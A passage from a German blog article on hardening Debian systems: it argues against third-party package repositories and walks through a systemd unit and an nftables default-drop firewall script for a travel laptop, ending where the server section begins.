Wir wissen es einfach nicht, welche Vorteile es irgendwem bringt oder welche er sich erhofft, bei Bedarf vielleicht die Kontrolle über tausende oder hunderttausende PCs und Kommunikationsgeräte durch vorhandene Trojaner übernehmen zu können, oder was er davon hat, einfach nur das digitale Leben der Menschen zu belauschen. Wer kann mit Gewissheit bestätigen, dass ein solches Fremd-Repo nicht genau für diesen Zweck geschaffen wurde und sich mit professioneller PR in den einschlägigen Internet-Foren einen guten Ruf erschlichen hat? Es muss natürlich nicht so sein, aber es kann sein, wir wissen es einfach nicht… also hat die Installation solcher Pakete durchaus eine ziemlich große Menge mit dem bekannten russischen Roulette gemein, es ist schlichtweg nichts anderes, als die leichtsinnige Teilnahme an einem reinen Glücksspiel, bei der unsere digitale Integrität auf dem Spiel steht. Wer das alles für Verschwörungstheorien hält …?… kein Problem, der soll halt die Augen vor dem in allen EU-Staaten schleichend aufgebauten Lawful Interception verschließen, wie z.B. in unseren Vorzeige-Demokratien Deutschland mit der Quellen-TKÜ, dem Staatstrojaner oder in the fabulous UK mit dem Investigatory Powers Bill. Und er soll meinetwegen auch das von vielen Staaten als vorbildhaft bzw. nachahmenswert eingestufte Social-Credit-System der Chinesen ignorieren. Ich will das alles jedenfalls nicht, mir ist das Risiko einfach zu groß, ich will meine digitale Privatsphäre kompromisslos behalten. Wenn ich ohne Aufwand und mit einfachsten Mitteln etwas gegen die digitale Entmündigung und dem verdeckten Entzug des Rechts auf eine Datenprivatsphäre tun kann, dann tu ich das.... u.a. auch mit der ganz einfachen Maßnahme, rigoros auf Software aus anonymen Fremdquellen zu verzichten.

Die für mich maßgeblich beunruhigende Besonderheit ist, dass nach dem Anfügen der Paketquelle dieser Quelle erlaubt wird, ihm Rahmen der periodischen System-Upgrades auch das aus dieser Paketquelle stammende Programmpaket automatisch zu aktualisieren. Mit der Einrichtung einer solchen Paketquelle ist dieser Paketquelle damit faktisch die Erlaubnis erteilt, regelmäßig bei jedem Upgrade die Installationsbasis meines Rechners zu verändern. Wann sie es tut, ob sie es tut, welches die Änderungen sind, ob das Upgrade-Paket nun vielleicht sogar unerwünschtes enthält ?... keine Ahnung, all das bleibt mir verborgen. Solche automatisch ablaufenden Änderungen würden dann im späteren normalen PC-Betrieb weitestgehend ohne ausdrückliches Einwirken von mir erfolgen, einfach deshalb, weil dieses Dritt-Repo als offizielle Paketquelle auf dem PC eingerichtet ist …. Patches und Updates werden deshalb automatisch und ohne weitere Rückfrage installiert. Das ist genauso komfortabel, wie es hochgradig riskant ist, weil damit die Kontrolle über zu installierende Software bei dieser mir völlig unbekannten Dritt-Quelle mit mir völlig unbekannten Akteuren liegt, die eine mir völlig unbekannte Hardware-Infrastruktur nutzt, zu deren IT-Sicherheit (wer ist dort alles wie weitreichend berechtigt, wer hat virtuellen Zugang zu den Systemen, wer sogar physischen?) überhaupt keine Kenntnisse bestehen. Ich würde heute jedes Linux-System mit eingetragenen und aktiven fremden Paket-Quellen ohne jeden Zweifel als kompromittiert betrachten und jegliche weitere Arbeit zur Herstellung von Sicherheit einstellen. Ich betrachte alle Arbeiten, wie sie hier in diesem Artikel beschrieben sind, unter solchen Bedingungen ohne eine komplette Neuinstallation als totale Zeitverschwendung.

Aus all diesen Gründen ist es fremden Repositories auf keinem einzigen unserer Systeme ermöglicht, Veränderungen an den PCs im Rahmen der regulären Updates/Upgrades durchzuführen, ganz einfach deshalb nicht, weil überhaupt keine Dritt-Quellen eingetragen sind. Mir erschließt sich sowieso nicht der Sinn, warum ich ein von unbekannten erstelltes Paket mit faktisch unbekannten Inhalt verwenden soll, wenn ich doch auch direkt das Original aus dem Community-Projekt verwenden kann, wie beispielsweise von Mozilla oder der Libre-Office-Foundation. Und wenn das nicht möglich ist, kann man vielleicht auch die Quellen downloaden und das Paket selber erzeugen. Bei kleineren Projekten wie OpenVPN, dem ODBC-Treiber oder Notepadqq ist das durchaus möglich. Und wenn das alles nicht geht, gibt es nur eine Lösung, und zwar weiterhin die reguläre Repo-Version nutzen und darauf zu warten, dass das Paket im Repo irgendwann auf die aktuelle Version upgraded wird.

Einrichten des Paketfilters in 4 Varianten

Nun gut, sei‘s drum, hier ist eine Weggabelung, an der ein jeder selbst seine künftige Richtung wählen muss. Deswegen will ich mich ab jetzt mit der Umsetzung von 4 Modellen einfacher Firewall-Regeln befassen, die unsere eigenen privaten Compliance-Regeln softwareseitig unterstützen sollen. Allerdings möchte ich an dieser Stelle einräumen, dass mich -seit ich mit dem Schreiben dieses Artikels angefangen bin- die Frage beschäftigt, ob es überhaupt gut ist, so etwas zu veröffentlichen und ob ich mich damit nicht zu weit aus dem Fenster zu lehne oder auf zu dünnes Eis begebe. Die Gefahr ist, man stürzt ab oder bricht ein... möglicherweise. Man trifft nämlich immer auf jemanden, der alles in Frage stellt und jedweden Erfolg jeglicher Maßnahmen mit aus allen Winkeln und Ecken herbeigezauberten Worst-Case-Szenarien abspricht. Aber ich persönlich halte auch solche Worst-Case-Szenarien sowieso nur für eine bestimmte Ausprägung eines vorhandenen Problems, es ist nur ein wenig übler, als man sich 'gewünscht' hätte. Es gibt aber immer auch Szenarien, die sind zwar mies, aber noch lange nicht Worst-Case. Und genau da können vielleicht auch einfache Schutzmechanismen wirksam helfen. Wenn ich mich zum Beispiel mit dem Thema häusliche Einbruchsicherung befasse, dann muss mir klar sein, dass man echte Profis vermutlich nur sehr schwer und nur mit hohem finanziellen und technischen Aufwand aufhalten kann. Das gleiche gilt wohl auch für unser IT-Equipment. Dennoch können selbst einfachste Maßnahmen bei Dieben vielleicht erfolgreich sein, wenn sich ein nicht so cleverer Gelegenheits-Einbrecher nur den nächsten Tag sichern will, oder bei Kids, die noch am Anfang ihrer kriminellen Karriere stehen. Auch das ist auf unsere IT übertragbar. Aber selbst wenn es sich wirklich um Profis handelt, ist es ja trotzdem nicht notwendig, denen auch noch die Tür aufzuhalten oder Einladungen auszusprechen.

Tja, bestenfalls sind meine Argumente vielleicht nur unvollständig, aber Sichtweise und Vorgehen in diesem begrenzten Anforderungsprofil sachlich und technisch prinzipiell richtig, schlimmstenfalls ist alles kokolores.... wobei ich das letztere aber erst mal nicht glaube und weswegen ich mich allen Bedenken zum Trotz schließlich doch zu diesem Wagnis traue. Das Dilemma ist, man findet leider auch im Netz kein wirklich vergleichbar umfassendes Anschauungsmaterial, welches einem zuerst die eigenen Rahmenbedingungen deutlich macht, die tatsächlichen Risikofaktoren aufzeigt und sich danach mit einer dazu passenden Lösung befasst. Man findet nur Man-Pages und meistens mehr oder weniger komplizierte Regelwerke für iptables, die man einfach übernehmen kann/soll, aber denen fast immer Erklärungen zu den Rahmenbedingungen fehlen, in die sich genau dieses beschriebene Regelwerk optimal einfügt. Man findet keine verständlichen Erklärungen dazu, was man eigentlich braucht, ob man es braucht, wie man die notwendigen Erkenntnissen erwirbt, um überhaupt selber Entscheidungen treffen zu können, und wie man das Gewollte und Benötigte dann auch schließlich erreicht. Letztendlich sind es aber doch genau diese Rahmenbedingungen, die definieren, ob ein Regelwerk wirklich optimal passt oder ob's nur eine pauschale Einstellung ist, die bestenfalls zu 1/2 oder 2/3 passt, oder schlimmstenfalls gar völlig unwirksam ist.

Ich habe deshalb für uns 4 Paketfilter-Modelle entwickelt, von denen ich glaube, dass sie sich bei uns (je nach Anwendungsfall unterschieden) als Software-Unterstützung optimal in das organisatorische und disziplinarische Regelwerk einfügen, ohne unseren IT-Betrieb zu blockieren und trotzdem den bestmöglichen Schutz durch eine funktionierende Firewall zu gewährleisten. Vier Modelle sind es, weil es eben hier 4 unterschiedliche Anwendungsfälle mit unterschiedlichen Schwerpunkten gibt.

Aber hier ist unbedingt an eine technische Besonderheit zu denken, und zwar an die direkte Abstimmung zumindest von 2 dieser 4 Paketfilter aufeinander. Schließlich ist es ja so, dass sie im gleichen LAN funktionieren müssen und durchaus auch den gegenseitigen Zugriff auf die Dienste anderer Rechner erlauben sollen.

Wie ich zu Anfang schon festgestellt habe, es gibt keine allgemein gültige Lösung, die gleichermaßen vollständig alle Anwendungsfälle perfekt abdeckt…. denn das, was auf der einen Seite notwendigerweise gelockert wird, stellt in einem anderem Szenario ein hohes Sicherheitsrisiko dar. Umgekehrt ist es genau so problematisch, denn das, was auf der einen Seite scharf reguliert wird, blockiert möglicherweise auf einem anderen Rechner notwendige Prozesse.

 

Also bleibt kein anderer Weg, als sich selber einen oder sogar mehrere Firewall-Maßanzüge zu schneidern. Deshalb jetzt hier als Vorschlag bzw. Hilfe zur Selbsthilfe für vier mal unterschiedliche Anforderungen/Bedingungen auch vier mal unterschiedliche Lösungen.

1

die mobilen Laptops

Sowohl eingehender als auch ausgehender Traffic wird extrem restriktiv reguliert, weil die Sicherheit unserer heimischen Router-FW an den mir fremden Accesspoints mit unbekannter technischer Ausstattung fehlt

 

 

2

die stationären PCs

Ausgehender Traffic (dadurch auch das User-Verhalten) wird mit expliziten Erlaubnissen reguliert, alles andere ist verboten

3

der Server

Eingehender Traffic wird mit expliziten Erlaubnissen reguliert, alles andere ist verboten. Ausgehend ist erlaubt, was für eigene Services zwingend notwendig ist, alles andere ist verboten.

4

Virtuelle Maschinen

In der virtuellen Maschine wird der Zugriff auf Ressourcen des eigenen Netzwerks verboten, lediglich der Zugriff auf das Internet ist erlaubt. Das ist dann Surfen unter Quarantäne-Bedingungen.

Die hier in dieser Beschreibung angelegten bzw. anzulegenden Dateien können mit dem dieser Beschreibung entsprechenden Inhalt unter der folgenden Adresse herunter geladen werden:  http://www.thlu.de/Public/security.tar

Wenn die im Tar-File enthaltenen Dateien in die späteren Original-Verzeichnisse kopiert werden, um sie dort manuell anzupassen, müssen unbedingt die Rechte-Einstellungen gemäß dieser Anleitung nachbearbeitet werden! Im Übrigen ist es möglich, dass die Beispiele hier in der Anleitung weniger aktuell sind, als die im Tar-File enthaltenen Dateien. Deswegen empfehle ich unbedingt, nur die Beispieldateien aus dem Tar-File zu verwenden

Bevor es also jetzt losgeht, möchte ich noch mal ausdrücklich darauf hinweisen, dass meine Paketfilter-Lösungen 'exklusive' Lösungen sind, das bedeutet, ihnen fehlt jegliche Allgemein-Firewall-Tauglichkeit. Sie befassen sich 'exklusiv' mit jeweils einer konkreten Problemstellung. Vermutlich kann man aus dem Vorgehen weitere Lösungen ableiten, aber das bedarf Sorgfalt, Sachkenntnis und der abschließenden Prüfung, dass es mit diesem neuen Filter sicher ist und ohne nicht. Fehlt diese Bestätigung, kann man sich das sowieso sparen, dann wäre jegliche Arbeit dazu nur verschwendete Zeit.

Da mir bewusst ist, wie kompliziert die Zusammenhänge manchmal zu verstehen sind, versuche ich hier meine persönliche Gewichtung für die Ausrichtung von drei der vier individuellen Paketfilter mit 2 Bildern grafisch darzustellen. Ich hoffe, dass damit die Unterschiede und meine Schwerpunkte für die Paketfilter im Vergleich der Systeme deutlicher sichtbar werden.

Outbound beschreibt die Datenpakete, bei denen unser Client-PC selber die Quelle war, die also unseren PC über das Netzwerkinterface verlassen.

Inbound beschreibt die Datenpakete, für die ein anderer Rechner die Quelle war, die unser PC also als Empfänger erhält.

ACCEPT und DROP legen als Regelergebnis fest, ob ein Paket angenommen oder verworfen wird.

Zusätzlich ist an der Stelle darauf zu achten, welchen Verbindungsstatus eine Verbindung hat. Der Status einer Verbindung ist beim Versuch des Verbindungsaufbaus zunächst "NEW". Eine bereits bestehende Verbindung ist "ESTABLISHED" und zu einer bestehenden Verbindung können weitere "RELATED" Portverbindungen gehören.

Mein Fokus ist hier allerdings immer auf neue Verbindungen gerichtet. Damit sind alle Anfragen zur Kontaktaufnahme mit einem Dienst auf einem bestimmten Port auf einer anderen Maschine gemeint. Bereits etablierte Verbindungen oder zu etablierten Verbindungen zugehörige weitere relative Verbindungen sind in meinem Modell immer erlaubt.

Der Grund für diese Vorgehensweise ist einfach erklärt, eine ESTABLISHED-Verbindung muss schon zuvor bei der Prüfung auf State NEW genehmigt worden sein. Eine gleich zu Beginn abgewiesene Verbindung kann also nie ESTABLISHED werden, und nur erfolgreich etablierte Verbindungen können weitere RELATED-Verbindungen öffnen.

 
 
 

Ich reguliere also, wer eine neue Verbindung initiieren darf und wer eine neue von anderer Stelle initiierte Verbindung annehmen darf. Beim mobilen Laptop liegen die Schwerpunkt ganz offensichtlich auf den Verboten, im Sinne dessen, das nichts erlaubt ist. Beim Vergleich von PC und Server im Heimnetz sieht man für inbound und outbound ein fast umgekehrtes Verhältnis. Dem PC ist wie dem Laptop eingehend sehr wenig erlaubt, ausgehend hingegen ist viel erlaubt. Dem Server ist eingehend viel erlaubt, ausgehend aber sehr wenig. Die Darstellungen sollen jetzt wirklich nicht rechnerisch korrekt die Anzahl gesetzter Regeln widerspiegeln, sie soll allein durch die Größe der Balken einen optischen Eindruck vermitteln, wo auf unseren Systemen in meinem Lösungsansatz die Schwerpunkte zur Regulierung des Datenverkehrs durch den Paketfilter liegen. Ich spreche hier auch gar nicht von Verboten, sondern nur von Erlaubnissen, wir dürfen nämlich nicht vergessen, dass ich mit den Default-Policies "Drop" sowieso alles verboten habe, was nicht ausdrücklich erlaubt ist.

Ich beginne mit dem einfachen Paketfilter meines Reise-Laptops, der sich unterwegs mit ständig wechselnden Accesspoints verbindet. Und dabei (wie auch bei den beiden noch folgenden) habe ich mich wieder -wie schon oft in der Vergangenheit- entschieden, auch hierbei nur sowieso vorhandene Board-Mittel zu nutzen und den Grad der Kompliziertheit nach der Devise zu gestalten „so kompliziert wie nötig, so einfach wie möglich“, und … ich sagte es schon: vor allem kompromisslos eindeutig. Ich will wie bei früheren Projekten auch hier wieder darauf verzichten, weitere Pakete zu installieren, die mir vielleicht nur irgendwas -ggf. sogar unnötiges- abnehmen. Mit dem Kernel ist die Paketfilter-Funktion bereits gegeben, mit der Bash die notwendigen Möglichkeiten zum Erstellen der Regeln, mit systemd-Service-Units ist die Frage der Aktivierung beim Systemstart gelöst. Ich will keinesfalls ein fertiges Desktop-Firewall-Programm installieren, welches mir eine unüberschaubare Anzahl und kaum verständliche Regeln anlegt und damit protzt, wie unfähig ich doch bin, weil ich das alles nicht verstehe. Und ich will auch keine zusätzlichen Programme, die solche einfachen Aufgaben wie Aktivieren und Deaktivieren übernehmen.... Debian hat alles, was notwendig ist, sowieso an Bord. Diese Prämisse gilt auch für die 2 noch folgenden Paketfilter.

Meine Devise für meine Personal Firewall ist: Es muss einfach nur einfach sein. Und die einfachste Lösung ist, erst mal alles zu verbieten und dann sukzessive nur das zu erlauben, was wirklich gebraucht wird. Alles andere, was da noch so drum-rum existiert, interessiert mich nicht. Ich brauche keine Logs, wer wann von wo kommend wie oft abgewiesen wurde...ohne Firewall wüsste ich das auch nicht, und ich will‘s auch nicht wissen. Mir reicht‘s zu wissen, dass lückenlos alles verboten ist, was ich nicht ausdrücklich erlaubt habe. Und weil meine Dienste sowieso nicht im Internet lauschen und ich den Fokus auf „innere Sicherheit“ gerichtet habe, halte ich das für ausreichend.

Es sind hier zwar 4 unterschiedliche Paketfilter, aber alle 4 Lösungen haben das gemeinsame Problem, dass sie beim Starten des jeweiligen Systems aktiviert werden müssen. Der Start des entsprechenden Paketfilters erfolgt während des Systemstarts für alle Systeme gleichbleibend über diese systemd-Service-Unit, die ein Bash-Script startet, welches dann die jeweiligen Paketfilter-Regeln für diesen Rechner setzt. Aber selbst dieser einfache Vorgang erfordert wieder eine Entscheidung, die bei größerer Sachkenntnis und entsprechend sensiblen Datenumfang durchaus nicht trivial ist. Ich muss die Frage beantworten, ob ich die Firewall bereits starte, bevor das Netzwerk etabliert ist oder erst hinterher. Starte ich die FW hinterher, könnten subversive Prozesse die kurze Lücke zwischen fertigem Netzwerk und fertiger FW faktisch für alles nutzen… natürlich auch dafür, sich eine Hintertür im Paketfilter einzurichten. Aber das bedingt natürlich, dass ein solcher Prozess nicht nur vorhanden ist, sondern bereits auch noch frühestmöglich in der Init-Phase des Rechners gestartet wird. Mit anderen Worten, es setzt die Annahme voraus, dass der Rechner bereits kompromittiert ist. Tja, ich unterstelle, dass es auf meinen Rechnern solche Prozesse nicht gibt – begründet mit der Annahme, dass Debian selber bei der Installation nicht kompromittiert ist. Und nach abgeschlossener Installation hat kein einziger Anwender die Berechtigung, Veränderungen an der Installationsbasis seines Rechners vorzunehmen. Ich habe mich entschieden, den zu regulierenden Traffic weitestgehend an die Subnetze des LANs zu binden, das bedeutet, für gewisse Services werden nur Pakete angenommen, deren Quelle hier im LAN liegt. Aber dazu brauch ich das etablierte Netzwerk, damit eben der Client die Site-ID (i.ü.S. auch für IPv4) selber ermitteln kann. Aus diesem Grund starte ich die Firewall also erst nach dem Netzwerk, nachdem die Interfaces erfolgreich initialisiert sind.

/etc/systemd/system/netfilter.service

Die Rechte-Einstellung für die Unit:         root:root 644

 

[Unit]

Description=thlu:netfilter.service:   Set local Netfilter

DefaultDependencies=no

After=network.target

[Service]

Type=simple

RemainAfterExit=yes

ExecStart=/usr/local/bin/netfilter

ExecStop= /usr/local/bin/netfilter flush

[Install]

WantedBy=multi-user.target

Alle hier noch folgenden Beispiele basieren auf nftables, dem Nachfolger der traditionellen iptables. Das in meinen Beispielen verwendete Programm "nft" ist das Frontend im Userspace und wird zur Konfiguration der Regel-Tabellen (Tables) im Linux-Kernel benötigt, in dem letztendlich die Firewall über eine Reihe von Netfilter-Modulen enthalten ist. Diese Tabellen enthalten weiterhin Chains (Ketten), in denen wiederum die eigentlichen Rules (Filterregeln) enthalten sind. Alle Tables, Chains und Rules werden explizit  durch die Scripte angelegt.

Für über meine Beispiele hinausgehende Lösungen bzw. Vorhaben oder weitere Informationen gibt es die Projektseiten des Netfilter-Projects im WWW, welche wirklich ausgezeichnete Informationen und Beispiele enthalten. Ich möchte mich hier jedoch nur auf einige elementare Basics beschränken, die einem ein wenig dabei helfen sollen, die grundsätzliche Funktionsweise des Paketfilters zu verstehen. Wer jetzt also noch Neugierig ist und bereit ist, einen kleinen etwas tiefer gehenden Blick rein zuwerfen, findet hier noch ein paar weitere Informationen:

< Überblick zur Paketfilter-Funktionsweise >

Ursprünglich sollte das auch hier Inhalt dieses Artikels sein, aber ich bin jetzt der Meinung, das ist zu technisch, das Wissen darum ist auch nicht zwingend erforderlich… aus diesem Grund habe ich das in einen Nebenartikel ausgelagert. Beschäftigen wir uns also einfach mit den Paketfilter-Beispielen, die mit den im Vergleich zu iptables moderneren nftables installiert werden.

1. Paketfilter für ein Mobil-Gerät mit wechselnden Netzwerkverbindungen

Die Zielsetzung für dieses erste Paketfilter-Beispiel ist ein primärer Schutz meines Laptops, der sich auf Reisen oft an unbekannten und wechselnden WLAN-Accesspoints anmeldet. An dem Punkt stelle ich noch nicht mal die Frage nach dem Schutz meines normalen Surf-Datenverkehrs nachdem die Netz-Verbindung hergestellt ist, der bei HTTP ja durchaus offen lesbar bar ist. Ein solches Problem wird kurzerhand mit einer vollständigen Verschlüsselung durch eine Verbindung über OpenVPN zum heimischen Router gelöst, und zwar sobald ich der Meinung bin, dass der Datenverkehr sensible Daten enthalten könnte. Aber mal eben den Wetterbericht anzusehen, eine Route auf Maps finden oder das TV-Programm zu checken, halte ich nicht für sensibel. Hier geht‘s mir konkret um die Mitgliedschaft in einem fremden LAN, in dem mein PC sichtbar und auch ansprechbar ist … was prinzipiell technisch nicht großartig anders einzuschätzen ist, so wie man seine PCs allesamt auch zuhause im LAN sehen und (z.B. via SSH) ansprechen kann. Ein Port-Scan oder gar eine direkte Attacke auf bekannte Ports ist ohne Umweg möglich. Die Direktive dieses Filters ist also recht einfach beschrieben, es gelten 2 einfache Forderungen:

1.

Es ist grundsätzlich alles verboten

 

 
 

2.

Surfen (HTTP und HTTPS) sowie DNS-Anfragen und eine VPN-Verbindung nach Hause sind ausnahmsweise erlaubt.

 

 

/usr/local/bin/netfilter

Die Rechte-Einstellung für das Script:         root:root 755

 

#!/bin/bash

#=================================================================================================================

# Description:  Netfilter IPv4+6 for mobile PCs when connecting to unknown access points

# Version:      2.0

# Date:         11.12.2019

# Written by:   TomL*thlu.de

# Licence:      GNU General Public License 3

# Usage:        netfilter                      Set Netfilter IPv4/IPv4 via inet-family

#               netfilter flush                Flush Netfilter

#               netfilter list                 List all rules

#=================================================================================================================

 

PATH=/sbin:/usr/sbin:/bin:/usr/bin:$PATH

 

[ "$1" == "flush" ] && nft flush ruleset && exit 0

[ "$1" == "list" ] && nft list ruleset && exit 0

 

modprobe nf_conntrack

sysctl -w net.netfilter.nf_conntrack_helper=1 >/dev/null

 

#-----------------------------------------------------------------------------------------------------------------

 

nft flush ruleset

nft add table inet filter

nft add chain inet filter raw       "{ type filter hook prerouting  priority -300; counter; }"

nft add chain inet filter forward   "{ type filter hook forward     priority 0; policy drop; counter; }"

nft add chain inet filter input     "{ type filter hook input       priority 0; policy drop; counter; }"

nft add chain inet filter output    "{ type filter hook output      priority 0; policy drop; counter; }"

 

nft add rule inet filter raw meta l4proto tcp ct state new ip  daddr == 10.0.0.0/16 drop

nft add rule inet filter raw meta l4proto tcp ct state new ip6 daddr == { fd00:10:0::/48, 2000::/3, fe80::/16 } drop

 

nft add rule inet filter forward ct state related,established accept

nft add rule inet filter forward counter drop

 

nft add rule inet filter input ct state invalid counter drop

nft add rule inet filter input iifname lo accept

nft add rule inet filter input ct state established,related accept

nft add rule inet filter input counter reject

 

nft add rule inet filter output ct state established,related accept

nft add rule inet filter output ip protocol icmp accept

nft add rule inet filter output tcp dport    53 accept

nft add rule inet filter output udp dport    53 accept

nft add rule inet filter output tcp dport    80 accept

nft add rule inet filter output tcp dport   443 accept

nft add rule inet filter output udp dport 55553 accept

nft add rule inet filter output counter reject

 

exit 0

 

#=================================================================================================================

#EOF

 

“Was macht dieses Script??“ Das ist einfach erklärt, die Regeln wurden nach der folgenden Prämisse erstellt: Es ist grundsätzlich alles verboten, was nicht ausdrücklich erlaubt ist. Und ausdrücklich erlaubt ist hiermit eigentlich nur das unmittelbare Surfen im Internet, ohne jedoch eingehenden Datenverkehr zu erlauben.  Über das Surfen hinaus kann außerdem auch noch sowohl via TCP/Port 443 (siehe Server-Script) als auch via UDP/Port 55553 eine OpenVPN-Verbindung zum Heimserver erstellt werden, um über den heimischen DSL-Router eine abhörsichere Leitung ins Internet herzustellen. Durch das Script werden die folgenden Netfilter-Regeln erstellt:

table inet filter {

    chain raw {

        type filter hook prerouting priority -300; policy accept;

        meta l4proto tcp ct state new meta nfproto ipv4 ip daddr 10.0.0.0/16 drop

        meta l4proto tcp ct state new meta nfproto ipv6 ip6 daddr { 2000::/3, fd00:10:0::/48, fe80::/16 } drop

    }

 

    chain forward {

        type filter hook forward priority 0; policy drop;

        ct state established,related accept

        counter packets 0 bytes 0 drop

    }

 

    chain input {

        type filter hook input priority 0; policy drop;

        ct state invalid counter packets 0 bytes 0 drop

        iifname "lo" accept

        ct state established,related accept

        counter packets 0 bytes 0 reject

    }

 

    chain output {

        type filter hook output priority 0; policy drop;

        ct state established,related accept

        ip protocol icmp accept

        tcp dport 53 accept

        udp dport 53 accept

        tcp dport 80 accept

        tcp dport 443 accept

        udp dport 55553 accept

        counter packets 0 bytes 0 reject

    }

}

 
 

Hinsichtlich der grundsätzlichen Vorgehensweise der Paketfilterbearbeitung muss man verstehen, dass eine bestimmte Regel nicht die Eigenschaften des Objektes beeinflusst, für welches diese Regel gedacht ist, bzw. welches zu dieser Regel passt. Nehmen wir an, es geht um Thunderbird und ich möchte einen ausgehenden Port für IMAP öffnen, damit Thunderbird auf meinem PC meine Postfächer auf einem Mailserver öffnen kann. In dem Fall wäre Thunderbird von dieser Regel betroffen und die Regel erzeugt mit  der Erlaubnis für IMAP eine neue Thunderbird-Eigenschaft ... mit anderen Worten, das Programm Thunderbird selber bekäme eine exklusive Erlaubnis. Nein, so funktioniert das aber nicht. Eine Linux-Netfilter-Regel bedeutet eben nicht, dass Thunderbird jetzt einfach generell und von allem anderen losgelöst die Erlaubnis für IMAP bekommt. Der Netfilter weiß gar nichts von Thunderbird und hat auch gar keine Verbindung für eine Zusammenarbeit mit Thunderbird, diese besondere Erlaubnis für IMAP wird nicht direkt auf das Programm Thunderbird übertragen.

Tatsächlich ist es sogar so, dass jedes Programm diesen geöffneten Port für eigene Zwecke verwenden könnte. Im Regelfall ist das nur insofern beschränkt, dass bei diesem speziellen Port üblicherweise auf der anderen Seite der Verbindung ein IMAP-Dienst wartet und für eine neue Verbindung die Einhaltung besonderer Protokoll-Vereinbarungen zwingend verlangt. Das bedeutet aber nicht, dass dieser Port nicht komplett für eine völlig andere Verwendung genutzt werden könnte. Ich verwende ja hier auch HTTPS/443 als Fallback-Lösung für eine OpenVPN-Verbindung nachhause, falls UDP einmal durch eine Firewall generell blockiert sein sollte.

Die wesentlichen Merkmale im Header eines jeden ausgehenden IP-Datenpaketes sind immer die Absender-IP-Adresse und die Empfänger-IP, sowie im Header des TCP-Paketes der Absender-Port und der Ziel-Port (hier im Beispiel ist das jetzt IMAP). Völlig losgelöst vom Programm Thunderbird behandelt der Paketfilter innerhalb der sequentiellen Verarbeitung aller Regeln (wie in einer Kette (resp. Chain)) alle Datenpakete gleich, in dem er die vorhandenen Regeln in der Kette einfach von oben beginnend nach unten abarbeitet und jede Regel auf Übereinstimmungsmerkmale im Header des Pakets überprüft.

Und sobald die Eigenschaften eines Datenpaketes zu den Match-Bedingungen einer Regel passen, also z.B. Protokoll-Typ = TCP und Port = IMAP, dann fällt diese Regel ein ultimatives Urteil, wodurch die weitere Regelverarbeitung sofort beendet wird. Das passiert sogar auch dann, wenn eine folgende Regeln ebenfalls passende Match-Bedingungen hätte, diese folgende Regel würde solche Pakete nie sehen. Mit einem Drop oder Accept als Ergebnis einer Regel wird jede weitere Regelverarbeitung also sofort beendet. Aufgrund der Übereinstimmung der Match-Bedingungen war diese Regel zuständig und hat eine ultimative Entscheidung getroffen.  Also wird mit einer solchen Regel eigentlich nicht Thunderbird erlaubt, sondern es werden aus der riesigen Menge an Datenpaketen genau die Pakete erlaubt, welche z.B. die Bedingung TCP und IMAP erfüllen, ganz egal, ob das für Thunderbird oder ein beliebiges anderes Programm gilt, welches diesen Port verwendet.

Zusammengefasst ist in diesem Filter folgendes eingestellt:

Generell:

Conntrack-Module laden

Die Connection-Tracking-Module im Linux-Kernel ermöglichen im Paketfilter den aktuellen Status einer Verbindung festzustellen bzw. über Matching darauf zu reagieren, ob es eine NEW-Verbindung ist oder eine bereits etablierte (ESTABLISHED).

Policies = DROP

Die Default-Einstellung der 3 Chains INPUT, OUTPUT und FORWARD ist von ACCEPT auf DROP geändert. Allein mit dieser Einstellung ist keinerlei Kontaktaufnahme über die Interfaces mehr möglich. Jeglicher ankommender und abgehender Traffic wird blockiert.

RAW:

ct state new = DROP

CVE-2019-14899. Ankommende TCP-Pakete für definierte Subnets ohne Antwort-Reaktion verwerfen. Dieser Angriffsvektor besteht darin, wenn sich ein möglicher Angreifer im gleichen Subnetz befindet, wie der mobile VPN-Client. Bei Anmeldung an fremden, offenen Access-Points ist das gleiche Subnetz allerdings obligatorisch. Was natürlich nicht bekannt ist, ist die Antwort auf die Frage, ob sich in dem gemeinsamen Subnetz überhaupt ein Angreifer aufhält.  

In reinen IPv4-Netzen bzw. bei Dual-Stack aber deaktivierten IPv6-Network-Stack muss die grüne Zeile mit # einkommentiert werden.

INPUT:

ct state established,related = ACCEPT

Verbindungen, die entweder Established oder Related sind, sind erlaubt. (Diese Verbindungen wurden vom Laptop selber hergestellt)

lo Traffic = ACCEPT

Das ist das Loopback-Interface, die IP-Adressen 127.0.0.1 und ::1/128 = Localhost, also der PC selber.

all other Traffic = REJECT

Jeglicher ankommender Traffic wird mit  'port is unreachable' abgewiesen.

 

REJECT unterscheidet sich von DROP dadurch, dass ein Paket mit der Information 'auf diesem Port lauscht kein Dienst' zurückgeschickt wird, im Falle von TCP ein RST/ACK und bei UDP mit einen nicht-erreichbaren ICMP-Zielport. DROP hingegen lässt das Paket einfach kommentarlos fallen. Vor dem Hintergrund, dass wir uns bei diesem Netfilter vorübergehend innerhalb eines (fremden) LANs befinden, halte ich das für eine akzeptable Lösung.

FORWARD:

ct state established,related = ACCEPT

Forward-Pakete… die sind nicht von mir, und die wollen auch nicht zu mir. Sind es bekannte Verbindungen, winke ich die einfach nur durch. Man kann‘s blocken, aber mangels Kenntnis einer guten Erklärung tu ich es erst mal nicht.

OUTPUT:

Ports 53, 80 und 443 = ACCEPT

DNS-Anfragen, HTTP und HTTPS sind ausgehend erlaubt. Das ist das, was ich selber brauche, wenn ich im Internet surfen möchte. Sind diese Ports geschlossen, geht selbst das nicht.

Port 55553

Notwendig, wenn vom Gerät eine OpenVPN-Verbindung zum Heimserver geöffnet werden soll

Ports x, y und z

Weitere freigegebene ausgehende Ports, wenn z.B. via OpenVPN bestimmte Services auf dem Heimserver erreichbar sein sollen.

all other Traffic = REJECT

Jeglicher anderer ausgehender Traffic ist für alle Protokolle verboten.

 

Sofern hier in diesem 'mobilen' Paketfilter wegen der möglichen Verbindung zum Heimserver einzelne Funktion erlaubt werden sollen, wie z.B. eine Verbindung via SSH, zu Samba-Freigaben, VNC-Verbindung zu heimischen Systemen, Öffnen von Postfächern auf dem Mailserver, so müssen aus dem Beispiel des Client-Filters für IPv4 die entsprechenden Outbound-Ports/Rules hier in diesem Filter adaptiv eingetragen werden. Achtung: Die inet-Familiy in diesem Paketfilter umfasst IPv4 und IPv6, im regulären Client-Paket-Filter erfolgt hingegen eine mit 'Stateful-Filter' begründete Trennung auf ip und ip6 (Vgl. dazu die Syntax der Statements).

2. Paketfilter für meinen LAN-Server

